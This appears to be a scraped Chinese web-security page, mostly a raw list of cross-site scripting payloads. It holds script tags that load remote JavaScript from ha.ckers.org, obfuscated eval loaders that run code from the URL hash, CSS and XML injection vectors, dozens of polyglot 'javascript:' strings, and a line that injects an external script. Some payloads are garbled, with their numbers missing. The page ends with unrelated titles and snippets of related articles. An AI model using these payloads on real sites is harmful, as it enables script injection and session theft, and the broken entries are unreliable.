<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE><A HREF="http://google.com/">XSS</A><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210
<SCRIPT>alert('XSS')</SCRIPT><SCRIPT>alert(String.fromCharCode(,,))</SCRIPT><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
Exploit String: a=||'ev'+'al',b=||location.hash,c=||'sub'+'str',[a](b[c]()) a=||'ev'+'al'||;b=||'locatio';b+=||'n.h'+'ash.sub'||;b+=||'str(1)';c=b[a];c(c(b))
eval.call(this,unescape.call(this,location))
d=||'une'+'scape'||;a=||'ev'+'al'||;b=||'locatio';b+=||'n'||;c=b[a];d=c(d);c(d(c(b)))
l= || 'str',m= || 'sub',x= || 'al',y= || 'ev',g= || 'tion.h',f= || 'ash',k= || 'loca',d= (k) + (g) + (f),a
_=eval,__=unescape,___=document.URL,_(__(___))
$_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__)
$=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($))
evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;[evil](changeProto);hsh=[evil](hshCod),cod=hsh.ss();[evil](cod)
with(location)with(hash)eval(substring())<IMG SRC="  javascript:alert('XSS');"> Exploit String: <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--><STYLE TYPE="text/javascript">alert('XSS');</STYLE><style>
body:after{
content: “\\6c\\\\\\″
}
</style>
<script>
eval(eval(document.styleSheets[].cssRules[].style.content))
</script>
Exploit String: <XSS STYLE="xss:expression(alert('XSS'))"><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"><LINK REL="stylesheet" HREF="javascript:alert('XSS');">
}</style><script>a=eval;b=alert;a(b(/i/.source));</script>a=alert A=alert;A()<TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> Exploit String: <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE></textarea><br><code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'
Exploit String: http://aa"><script>alert(123)</script>http://aa'><script>alert(123)</script>>%%><img%20src%3d%22javascript:alert(%%20XSS%)%><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
http://aa<script>alert(123)</script>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-<IMG SRC=&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;> with(document.__parent__)alert()
Exploit String: <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
Exploit String: <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML><HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML><iframe%20src="javascript:alert(1)<a%20href="javascript:alert(1);<animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> <script>onerror=alert;throw </script>
<script>{onerror=alert}throw </script>
<script>throw onerror=alert,'some string',,'haha'</script>
<script>{onerror=eval}throw'=alert\x281337\x29'</script>
<script>{onerror=eval}throw{lineNumber:,columnNumber:,fileName:,message:'alert\x281\x29'}</script>
<script>{onerror=prompt}throw{lineNumber:,columnNumber:,fileName:'second argument',message:'first argument'}</script>
<script>throw/a/,Uncaught=,g=alert,a=URL+,onerror=eval,//g+a[]+[]+a[]</script>
<script>TypeError.prototype.name ='=/',[onerror=eval]['/-alert(1)//']</script>
Javascript开头
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//</script/--></title/'</style/</textarea/</noembed/</noscript><<script/>/<frame */; onload=alert()//<</script>`
javascript:`</template>\"///"//</script/--></title/'</style/</textarea/</noembed/</noscript><<script/>/<frame */; onload=alert()//<</script>`
javascript:/*`//'//\"//</style></noscript></script>--></textarea></noembed></template></title><script>/<frame <svg"///*/ onload=alert()//</script>
javascript:/*"//'//`//\"//--></script></title></style></textarea></template></noembed></noscript><script>//<frame/<svg/*/onload= alert()//</script>
javascript:/*-->'//"//`//\"//</title></textarea></style></noscript></script></noembed></template><script>/*<frame/<svg */ onload=alert()//</script>
javascript:/*"/*'/*`/*\"/*</script/</title/</textarea/</style/</noscript></template></noembed>--><script>/*<svg <frame */ onload=alert()//</script>
javascript:/*"/*'/*\"/*`/*--></title></noembed></template></textarea></noscript></style></script><script>//<frame <svg */ onload=alert()//</script>
javascript:/*"/*`/*'/*\"/*--></title></script></textarea></noscript></style></noembed></template><script> /*<svg <frame onload=/**/alert()//</script>
javascript:"/*'//`//\"//</title></template/</textarea/</style/</noscript/</noembed/</script>--><<script>alert()<</script><frame/*/ onload=alert()//>
javascript:alert()"//</title></textarea></style></noscript></noembed></template></script>\"//'//`//--><script>//<svg <frame */onload= alert()//</script>
javascript:/*"/*`/*'/*\"/*</script></style></template></select></title></textarea></noscript></noembed><frame/onload=alert()--><<svg/*/ onload=alert()//>
javascript:"/*`/*\"/*' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert()//--><<sVg/onload=alert``>
javascript:/*--></script></textarea></style></noscript>\"</noembed>[`</template>["</select>['</title>]<<script>///<frame */ onload=alert()//<</script>
javascript:"/*\"/*'/*`/*--></noembed></template></noscript></title></textarea></style></script></select><frame/onload=alert()><<svg/onload= /**/alert()//>
javascript:/*"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script><<script> /**/alert()//<</script><frame onload=alert()>
javascript:"/*\"/*'/*--></title></textarea></style></noscript></template></noembed></script><<script>/*` /*<frame src=javascript:/**/alert()//><</script>
javascript:"/*'/*\"/*` /**/alert()//--></title></textarea></style></noscript></noembed></template></script><script>alert()</script><svg/<frame/onload=alert()>
javascript:/*"/*`/*'/*\"/*-->*/ alert()//</title></textarea></style></noscript></noembed></template></script></select><frame/onload=alert``><<svg/onload=alert()>
javascript:`/*</title></style></textarea></noscript></script></noembed></template></select/"/'/*--><frame onload=alert()><svg/\"/*<svg onload=' /**/-alert()//'>javascript:/*`/*\"/*'/*</noembed>"/*<frame src=javascript:/**/;alert()//--></title></textarea></style></noscript></template></select></script><<svg/onload= alert()//>
javascript:alert()//"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script>*/ alert()//<frame onload=alert()><<script>alert()<</script>
javascript:alert()//'//"//\"//-->`//*/ alert();//</title></textarea></style></noscript></noembed></template><frame onload=alert()></select></script><<svg onload=alert()>
javascript:/*"/*\"/*`/*'/**/ (alert())//</title></textarea></style></noscript></script></noembed></template></select><frame src=javascript:alert()--><<svg/onload=alert()>
javascript:/*"/*'/*\"/*`/*><frame src=javascript:alert()></template </textarea </title </style </noscript </noembed </script --><<script>alert()<</script>\ /**/alert()//
javascript:/*`/*'/*'/*"-/*\"/**/ alert()//></title></textarea></style></select></script></noembed></noscript></template>--><<svg/onload=alert()><frame/src=javascript:alert()>
javascript:'/*`/*'/*"/*\"/*<FRAME SRC= javascript:/**/-alert()//--></title></textarea></style></noscript></noembed></template></script><script>//<svg onload= alert()//</script>
javascript:alert()//--></title></style></noscript></noembed></template></select></textarea><frameset onload=alert()></script>*///\"//`//'//"//><svg <svg onload=alert()> alert()//
javascript:alert()//'//"//\"; '/`/*\/*'/*"/**/(alert())//</style></template/</title/</textarea/</noscript/</noembed/</script>--><frame <svg onload=alert()><script>alert()</script>
javascript:/*"/*'/*`/*\"/**/ alert()//*</title></textarea></style></noscript></noembed></template></option></select></SCRIPT>--><<svg onload=alert()><frame src=javascript:alert()>
javascript:alert()//\"//`//'//"//--></style></select></noscript></noembed></template></title></textarea></script><iframe/srcdoc="<svg/onload=alert()>"><frame/onload=alert()>*/ alert()//
javascript:alert()//*-->*`/*'/*"/*\"/*</title></textarea></style></noscript></noembed></template><frame src=javascript:alert()></script><script>/*<svg onload=alert()>*/ alert()//</script>
jaVasCript:/*`/*\`/*'/*\"//"/**/(onload=alert())//<svg/onload=alert()><frame/onload=alert()></select></noscript></noembed></template></stYle/</titLe/</teXtarEa/</script/--><sVg/oNloAd= alert()//>
javascript:alert()//'//"//`//></a></option></select></template></noscript></script></title></style></textarea></noembed>--><<svg onload=alert()>\">alert()//*/ alert()//<frame src=javascript:alert()>
javascript:alert()//\ /*<svg/onload=';alert();'></textarea></style></title></noscript></template></noembed><frame onload=";alert();"></script>--><script>alert`;alert();`</script>*/alert()//\";alert()//
javascript:alert/*`/*\/*'/*\"/*"/**/(alert())// alert()//--></template><frame/onload=alert() <img src=x onerror=alert()></style/</title/</textarea/</noscript/</noembed/</script><script>alert()</script>
javascript:alert();//</title></noscript></noembed></template></style></textarea><frameset onload='+/"/+/[*/[]/+alert()//'-->\" alert();/*`/**/(/**/alert())//<script>alert()</script><<svg onload=alert()>>
javascript:alert()//*/alert()/*'-/"/-eval(`(alert())`)//\"-alert()//--></title></style></noscript></textarea></template></noembed><script>alert()</script><frameset onload=alert()><svg/onload=alert(1)> alert()//
javascript:alert()//\";alert();/*-/*`/*\`/*'/*"/**///--><FRAME SRC="javascript:alert();"></textarea></style></noscript></noembed></template></option></select></script></title><svg/onload=alert()><svg/onload=alert()> alert(1)//
javascript:alert()//<frame/src=javascript:alert()><svg/onload=alert()>`;alert()`';alert()//\";alert();//"//--></title></textarea></style></noscript></noembed></template></option></select></script><svg onload=alert()>*/ alert()//*
javascript:alert()//</title></style></textarea></noscript></template></noembed><script>alert()</script>-->\";alert()//";alert()//';alert()//<script>alert()</script><frame src="javascript:alert()">` alert()//<svg/onload=alert()>*/alert()/*
javascript:alert();//<img src=x:x onerror=alert(1)>\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//--></title></textarea></style></noscript></noembed></template></select></script><frame src=javascript:alert()><svg onload=alert()><!--
javascript:/*--></title></style></template></noscript></noembed></textarea></script><svg/onload='+/"/+/onclick=1/+/[*/[]/+alert()//'>"><svg/onload=`+/"/+/onclick=/+/[*/[]/+alert()//'>"><script>alert()</script><frame src="javascript:alert()"></frameset>+\"; alert()//<img src onerror=alert()>
javascript:alert()//\";alert(1);<!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//--><FRAME SRC="javascript:alert(1);"></textarea></style></iframe></noscript></noembed></template></option></select></script><img src=x onerror=alert(1)></title><script>alert(1)</script><img src=0 onerror=alert(1)><img src=x:x onerror=alert(1)> alert(1)//
x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';
|
应用安全-Web安全-XSS(跨站攻击)攻防整理的更多相关文章
- XSS跨站攻击
目录 1 XSS跨站攻击简介 1 1.1 什么是XSS 1 1.2 XSS的分类 1 1.3 XSS的危害 1 2 XSS的攻击原理 1 2.1 本地式漏洞攻击 1 2.2 存储式漏洞攻击 2 2.3 ...
- 用shell脚本批量进行xss跨站攻击请求
由于执行的xss攻击请求他多了,初步估计要执行83次,而且还要执行3篇,如果手工一个一个去执行,说出去,我还配叫自动化大师吗: 有鉴于此,边打算自己编写一个脚本进行批量执行: 而短脚本的编写,非she ...
- 云锁Linux服务器安全软件安装及防护webshell、CC、XSS跨站攻击设置
无论我们在使用电脑,还是使用VPS/服务器的时候,最为担心的就是服务器是否有安全问题,尤其是网站服务器再遭受攻击的时候如何得到防护.对于大 部分站长用户来说,我们可能只会使用基础的环境,如果真遇到问题 ...
- Laravel5中防止XSS跨站攻击的方法
本文实例讲述了Laravel5中防止XSS跨站攻击的方法.分享给大家供大家参考,具体如下: Laravel 5本身没有这个能力来防止xss跨站攻击了,但是这它可以使用Purifier 扩展包集成 HT ...
- web安全性测试——XSS跨站攻击
1.跨站攻击含义 XSS:(Cross-site scripting)全称"跨站脚本",是注入攻击的一种.其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布 ...
- Cross-Site Scripting XSS 跨站攻击全攻略 分类： 系统架构 2015-07-08 12:25 21人阅读 评论(2) 收藏
原文:http://a1pass.blog.163.com/blog/static/2971373220087295449497/ 题记:这是我在<黑客X档案>08年第5期发表的一篇文章, ...
- XSS跨站攻击靶场-通关笔记
XSS攻击是Web攻击中最常见的攻击手法之一,XSS中文名跨站脚本攻击,该攻击是指攻击者在网页中嵌入恶意的客户端脚本,通常是使用JS编写的恶意代码,当正常用户访问被嵌入代码的页面时,恶意代码将会在用户 ...
- xss跨站攻击原理
https://www.cnblogs.com/frankltf/p/8975010.html 跨站脚本攻击:通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,一旦攻击成功,它可以获取用户 ...
- 宽字节XSS跨站攻击
简介 宽字节跨站漏洞多发生在GB系统编码. 对于GBK编码,字符是由两个字节构成,在%df遇到%5c时,由于%df的ascii大于128,所以会自动拼接%5c,吃掉反斜线.而%27 %20小于asci ...
随机推荐
- octave - 用于数值计算的高级交互式语言
SYNOPSIS 总览 octave [options] OPTIONS 选项 octave 全部命令行选项可以通过运行命令 octave --help 来查看. DESCRIPTION 描述 Oct ...
- PAT Advanced 1065 A+B and C (64bit) (20 分)(关于g++和clang++修改后能使用)
Given three integers A, B and C in [−], you are supposed to tell whether A+B>C. Input Specificati ...
- 04javascript02
1.BOM编程 1.1入门 BOM就是浏览器对象模型编程,通过javascript引擎提供的四个浏览器对象,操作浏览器,这叫BOM编程. 1.2window对象(重点) <!DOCTYPE ht ...
- Python核心技术与实战——十|面向对象的案例分析
今天通过面向对象来对照一个案例分析一下,主要模拟敏捷开发过程中的迭代开发流程,巩固面向对象的程序设计思想. 我们从一个最简单的搜索做起,一步步的对其进行优化,首先我们要知道一个搜索引擎的构造:搜索器. ...
- Saving James Bond - Easy Version
题目来源: 浙江大学在慕课网上开设的<数据结构>课,陈越老师.何钦铭老师主讲,课后作业的一道题. 题目描述: 题目思路: 这道题目本质上讲就是列出图的连通集,但是这个连通集的起点是有约束的 ...
- git分支管理与tag的学习笔记
git分支管理学习笔记:创建dev分支:git branch dev查看分支:git branch切换分支:git checkout dev创建并切换分支:git checkout dev -b zh ...
- Java 内存结构之虚拟机栈
2.虚拟机栈 定义:虚拟机栈(Java Virtual Machine Stacks)就是每个线程运行需要的内存空间,栈由一个一个的栈帧(Frame)组成,栈帧就是每个方法运行时需要的内存(方法的参数 ...
- 【GDOI 2016 Day2】第一题 SigemaGO
题目 分析 拆点连边+spfa. 首先把图分成2lim+1层,也就是每个点拆成2lim+1个点. 如果a和b之间.b和c有一条有向边,那么连边(k,a)-->(k+1,b),(k+1,b)--& ...
- docker for windows 中 镜像 microsoft/donet 的文件结构
一共有3个文件夹和1个文件: [Program Files] [Users] [Windows] License.txt 使用vs默认生成的dockerfile文件生成后,会新增app文件夹.
- php大文件上传解决方案
PHP用超级全局变量数组$_FILES来记录文件上传相关信息的. 1.file_uploads=on/off 是否允许通过http方式上传文件 2.max_execution_time=30 允许脚本 ...